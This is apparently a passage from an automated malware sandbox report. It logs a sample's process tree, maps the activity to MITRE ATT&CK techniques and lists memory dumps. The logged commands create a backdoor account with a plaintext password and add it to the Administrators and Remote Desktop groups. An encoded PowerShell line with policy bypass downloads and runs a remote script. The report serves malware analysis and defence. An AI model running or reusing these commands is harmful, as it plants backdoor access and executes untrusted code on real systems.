  net.exe user wgautilacc n6UvtOVP /add
  2⤵
  PID:3684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc n6UvtOVP /add
    3⤵
    PID:3968

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:2164
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:2716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1356

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
PID:1132
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  PID:852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:1176

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:4052
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3168

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc n6UvtOVP
1⤵
PID:1940
- C:\Windows\system32\net.exe
  net.exe user wgautilacc n6UvtOVP
  2⤵
  PID:3560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc n6UvtOVP
    3⤵
    PID:2880

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1916
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2208

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2144
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:1808

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1356
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1176-400-0x00000217D45E6000-0x00000217D45E8000-memory.dmp

Filesize
8KB

Download
memory/1176-394-0x00000217D45E0000-0x00000217D45E2000-memory.dmp

Filesize
8KB

Download
memory/1176-396-0x00000217D45E3000-0x00000217D45E5000-memory.dmp

Filesize
8KB

Download
memory/1176-451-0x00000217D45E8000-0x00000217D45E9000-memory.dmp

Filesize
4KB

Download
memory/1840-131-0x0000023A00000000-0x0000023A0064A000-memory.dmp

Filesize
6.3MB

Download
memory/1840-129-0x0000023A00000000-0x0000023A0064A000-memory.dmp

Filesize
6.3MB

Download
memory/1840-132-0x0000023A40220000-0x0000023A40640000-memory.dmp

Filesize
4.1MB

Download
memory/1840-135-0x0000023A25DD3000-0x0000023A25DD5000-memory.dmp

Filesize
8KB

Download
memory/1840-134-0x0000023A25DD0000-0x0000023A25DD2000-memory.dmp

Filesize
8KB

Download
memory/1840-136-0x0000023A25DD5000-0x0000023A25DD6000-memory.dmp

Filesize
4KB

Download
memory/1840-137-0x0000023A25DD6000-0x0000023A25DD7000-memory.dmp

Filesize
4KB

Download
memory/1916-277-0x000001EC71FC8000-0x000001EC71FCA000-memory.dmp

Filesize
8KB

Download
memory/1916-255-0x000001EC71FC6000-0x000001EC71FC8000-memory.dmp

Filesize
8KB

Download
memory/1916-254-0x000001EC71FC3000-0x000001EC71FC5000-memory.dmp

Filesize
8KB

Download
memory/1916-253-0x000001EC71FC0000-0x000001EC71FC2000-memory.dmp

Filesize
8KB

Download
memory/2068-146-0x0000021A250E0000-0x0000021A250E1000-memory.dmp

Filesize
4KB

Download
memory/2068-163-0x0000021A24E30000-0x0000021A24E31000-memory.dmp

Filesize
4KB

Download
memory/2068-143-0x0000021A24CC0000-0x0000021A24CC1000-memory.dmp

Filesize
4KB

Download
memory/2068-157-0x0000021A24CF6000-0x0000021A24CF8000-memory.dmp

Filesize
8KB

Download
memory/2068-148-0x0000021A24CF0000-0x0000021A24CF2000-memory.dmp

Filesize
8KB

Download
memory/2068-169-0x0000021A24CF8000-0x0000021A24CF9000-memory.dmp

Filesize
4KB

Download
memory/2068-170-0x0000021A262D0000-0x0000021A262D1000-memory.dmp

Filesize
4KB

Download
memory/2068-149-0x0000021A24CF3000-0x0000021A24CF5000-memory.dmp

Filesize
8KB

Download
memory/2068-171-0x0000021A26660000-0x0000021A26661000-memory.dmp

Filesize
4KB

Download
memory/3236-188-0x000002A45EFC0000-0x000002A45EFC2000-memory.dmp

Filesize
8KB

Download
memory/3236-189-0x000002A45EFC3000-0x000002A45EFC5000-memory.dmp

Filesize
8KB

Download
memory/3236-208-0x000002A45EFC6000-0x000002A45EFC8000-memory.dmp

Filesize
8KB

Download
memory/3236-217-0x000002A45EFC8000-0x000002A45EFCA000-memory.dmp

Filesize
8KB

Download
memory/3680-284-0x000002D4F0BF6000-0x000002D4F0BF8000-memory.dmp

Filesize
8KB

Download
memory/3680-281-0x000002D4F0BF3000-0x000002D4F0BF5000-memory.dmp

Filesize
8KB

Download
memory/3680-279-0x000002D4F0BF0000-0x000002D4F0BF2000-memory.dmp

Filesize
8KB

Download
memory/3940-128-0x000001D1714D0000-0x000001D1714D1000-memory.dmp

Filesize
4KB

Download